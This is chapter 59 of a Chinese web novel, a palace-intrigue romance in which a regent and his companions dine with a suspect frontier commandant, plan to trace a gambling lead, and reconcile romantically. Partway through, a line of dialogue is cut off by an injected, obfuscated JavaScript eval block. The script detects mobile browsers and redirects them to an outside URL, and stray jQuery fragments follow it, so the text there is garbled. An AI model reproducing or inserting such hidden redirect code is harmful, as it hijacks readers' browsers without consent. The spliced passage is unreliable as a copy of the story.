59. 暗潮

    谢徵玄、容羡和江月见依次落座。


    柳章拘谨地坐在下首相陪,搓着粗糙的手,笑道:“实在是寒酸简陋,不成敬意!关外苦寒,物产艰难,只有这粗茶淡饭,委屈两位大人和这位姑娘了。快请尝尝,这肉干是郡里百姓自己风干的,下官……下官自己都舍不得多吃……”


    他说着,亲自拿起一张硬邦邦的杂粮饼,掰成几半,热情地要分给他们。


    定山替谢徵玄接过,江月见自己伸手拿了一小块,指尖捏上去,能感觉到那粗糙的颗粒感。


    谢徵玄没动筷,目光沉沉地扫过桌上的饭菜,又落到柳章身上,再看看桌上连油水都欠奉的菜色,眼底深处却不见放松,反而寒意更浓。


    “郡守自奉简朴,令人佩服。”


    “不敢当不敢当!”柳宅连忙放下手里的饼,诚惶诚恐地赔笑。


    “将士们在边关浴血,才是真的辛苦。下官无能,只能……只能在后方勉强支应,不敢奢靡半分!只恨自己无能,府库空虚,没法让将士们吃得更饱些……”


    他说着,竟用袖子擦拭了一下眼角的湿润,语气悲切起来。


    “每每看到士兵们面有菜色,下官……心如刀绞啊。”


    他夹起一根肉干,小心翼翼地放到谢徵玄的陶碗里。


    谢徵玄拿起酒杯,抿了一口,又放下。


    “吃吧。”


    容羡也接话,不时与柳章问起百姓生活与军队情况,柳章一一谨慎作答。


    酒席在压抑古怪的氛围中草草结束,而从始至终,柳章都不曾提起半句与柳如是相关的话题。


    仿佛——仿佛他没有这个儿子,而这个儿子,也没有迫害过摄政王的女人,没有惨死在他们手中。


    夜已深了,雪愈发厚重。


    谢徵玄起身告辞。柳章带着瘸腿的老管家,一直送出府门很远,在风雪里频频作揖。


    江月见与谢徵玄、容羡并排走着,沉默不语。直到走出很远,郡守府彻底被风雪隐没后,她才侧过头,压低声音说:


    “……太假了。他怎么会不对我们恨得牙痒痒?那是他的亲儿子。”


    谢徵玄目光笔直地望着前方被风雪模糊的道路,从喉间沉沉地“嗯”了一声。


    容羡也才知晓当日情况,心头燥郁。


    原来她在浔阳城受过那么多苦,他却全然不知。


    “从前听闻雁门郡守老实本分,如今看来,过了。”他说。


    江月见嗤笑,“他以为不提柳如是的事,我们就不会迁怒于他?怎么说,是想公私分明,免得惹火烧身了?”


    容羡道:“即便为人父母……也是有私心的。兴许,他是果真怕被柳如是波及。”


    话了了,他似乎想到了些什么,沉默着没再言语。


    几人各怀心事地回了营。


    在营帐前分别时,谢徵玄自然地要同江月见进一个营帐。


    今夜与柳章一会,疑窦又生,但容羡毕竟是外人,不便当着他的面明说。


    即便他曾与她青梅竹马,于他谢徵玄而言,他就是外人。


    “殿下。”容羡却伸手拦住了。


    谢徵玄挑眉望向他。


    容羡噙着温和的笑,轻声道:“殿下,夜深,各自歇息吧。”


    “我去哪里歇息,需要与你报备?”


    “自然不用。”


    “那你?”他瞥向容羡拦住他的手臂。


    容羡没有收手,只是问:“江家军六万人,殿下亲兵三万人,合计九万余人。人多眼杂,初霁姑娘于殿下而言,是什么人?你可曾考虑过她的清誉?”


    谢徵玄嘴角扯起讥诮的弧度,似是觉得荒谬,想出口反驳些什么,可忽然间发觉不占理的人竟是自己。


    他有没有考虑过她的清誉?


    他哑口无言了。


    初见时,本将她当作棋子,与她逢场作戏,是合作需要。她从没说过不行,所以他以为没关系。


    可是,寂寥的风倏然掠过,钻进他衣襟,他心蓦地寒了些。


    他替她考虑过吗?就像昨夜,轻飘飘地用她无意间的许诺,换她的终身?他是不是太自我了?


    “好了。”江月见解围道:“我与殿下还有事要议,容大人,你先歇息。”


    容羡的手一顿,随即放下了。


    他本就没有立场去置喙他们之间的情事,只要阿月自己心甘情愿,他会站在她那边的。只是,他决不允许任何人辜负她。


    一记包含警告意味的深沉眼神落到谢徵玄身上,容羡告辞离开。


    风声寂寥,江月见开口道:“进来说吧。”


    谢徵玄却突然倔了起来。


    “就在外面说。”


    “为什么?”


    “容羡总归说了句对的话。”他抬头,眼睛里露出冰冰凉凉的,浸着水般的眼神,“阿初,我错得太多了。”


    她苦涩地笑。


    “你情我愿的事,谈什么错不错。好了,外面凉,进来说吧。实在不行,让定山和溯风陪着,总行了吧?”


    一旁尽力降低存在感的定山和溯风闻言,在阴影里慌张摆手拒绝。


    谢徵玄已冷峻地开口:“定山,溯风。”


    两人立马稍息、立正,朗声回:“是!主子!”


    四人你看我,我看你,在主帐内团团坐。


    半晌,江月见打破了沉默,说:“柳章……我总觉得他不对劲。雁门关已经穷到这个地步了,连堂堂郡守府招待摄政王,都只能吃如此难以下咽的粗茶淡饭?”


    溯风小声道:“可他儿子那府邸,瑶池仙境一般,要多奢靡有多奢靡。柳章没蹭着半点好?我可不信。”


    “但无论如何,看今日这架势,他早有应对,要想从他府邸找出破绽,难。”定山回。


    谢徵玄听他们你一言我一语地分析完了,才说:“这些线索,一定会有交汇的地方。他有防备,我们便不查他,不急,狐狸尾巴会从别处漏出来的。”


    “你的意思是?我们继续跟沈遂那条线?”


    “嗯。”他望向溯风,问:“打探好了吗?”


    溯风点头,“他常去的销金窟,打探到了。对了,那地方就叫销金窟。在关城东南隅的黑市里,很是偏僻,轻易找不着。”


    定山也道:“当铺里的徐掌柜也安排好了。一个叫包郢的人,随时都能上。”


    “包赢?”江月见忍不住笑出声。


    定山拂手,也笑了,“说是道上的诨名儿。”


    “今晚,就让他上吧。过三日,我们去收割。”


    “好嘞。”定山作势要起身出去传信,“那我走了?”


    溯风也起身,试探道:“那我也走了?”


    谢徵玄跟在他们身后,“我也走了。”


    定山和溯风苦着脸,小声说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967223|169203||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“主子,你也不是一定要走吧?那什么,毕竟……大家都知道初霁姑娘是主子的人呀。”


    谢徴玄没说话,掀开了帐子。


    江月见一把拉住了他的手,朝二人支起下巴,“你们去忙。”


    “好嘞!”两人应得飞快又欣喜。


    帘子落下,屋里只剩下他们两人。炭火的光芒跳跃着,映得墙壁上影子晃荡不定。


    谢徵玄就那么站着,背对着她,解开的披风微微敞着,他站着不动,像一座骤然结了冰的山。


    她一步上前,手指从他的臂弯往下挪,而后,缓缓握住了他冰凉的手。


    他的身体不自觉地僵住了。


    “景明。”她扯了扯他的手,声音里带着央求,“你看看我。”


    他毫无招架之力。


    不管是她唤他殿下,谢徵玄,还是景明。他对她,毫无招架之力。


    他侧过半身,目光垂下,落在她的手上。


    她仰着头,眼圈有略微的红。


    “你知道的,我不在意那些。”


    她的声音更急了些,“我们……行得正坐得端,不过是为了大计着想,才走得亲近了些。况且……况且你我……!”


    她似乎在积蓄勇气,将“况且”二字翻来覆去说了几遍,才接着说出口:


    “况且你情我愿的事,怎么能说全是你的错。”


    谢徵玄心头一颤,眼底那层厚重的坚冰似乎瞬间被燎出一道裂缝。


    他看着她,看着她在昏暗光线下依旧明亮的眼睛,看着她眼中那份急切地想要抓住他、确认他心意的眼神。


    一股汹涌的情绪喷薄而出。


    他低头,说:“阿初,我决定了。”


    “什么?”


    “不管你阿兄同不同意,你,我娶定了。”


    “……谁跟你说这个了!”


    “那我走了。”


    “——不要!”


    她再也顾不得什么女儿家的矜持,另一只空着的手猛地抬起,不再仅仅是拽着他的衣袖,而是急切地将他抱住。


    “不要。你自己想走,我不拦。可你因为一些莫须有的事想走,我不许。”


    更加汹涌的情意排山倒海般涌过来。


    谢徵玄没让她的怀抱孤单太久,随即反将她环抱进了胸膛。


    他喉结滚动了一下,眼底的阴霾渐渐散去,取而代之的,是汹涌灼热的光芒。


    “……好。”他从喉咙深处挤出一个低哑的字。


    “阿初,遇见你,我才知自己竟是这样卑劣自私之人……欠你的,我一定会加倍偿还给你。”


    “欠我什么?”


    “大婚时,我定让你做全天下最体面的新娘。”


    江月见捶他的胸口。


    “我什么时候答应要嫁给你了!”


    谢徵玄轻笑,“你阿兄早就答应了。”


    江月见“切”了一声,丝毫没放在心里,“你还晓得我阿兄是谁?”


    “我就是知道。”


    他越来越孩子气了。


    这个夜晚,最终他们还是分开休息的。其实说到底,除了京城那一夜的醉酒,谢徵玄对她,从来发乎情止于礼。


    他还是回了昨夜单独的营帐,只是不再是赌气般自怨自艾地离开。


    但他在心里对自己警告了一百遍——今天,算那容羡说了回人话,他得引以为戒。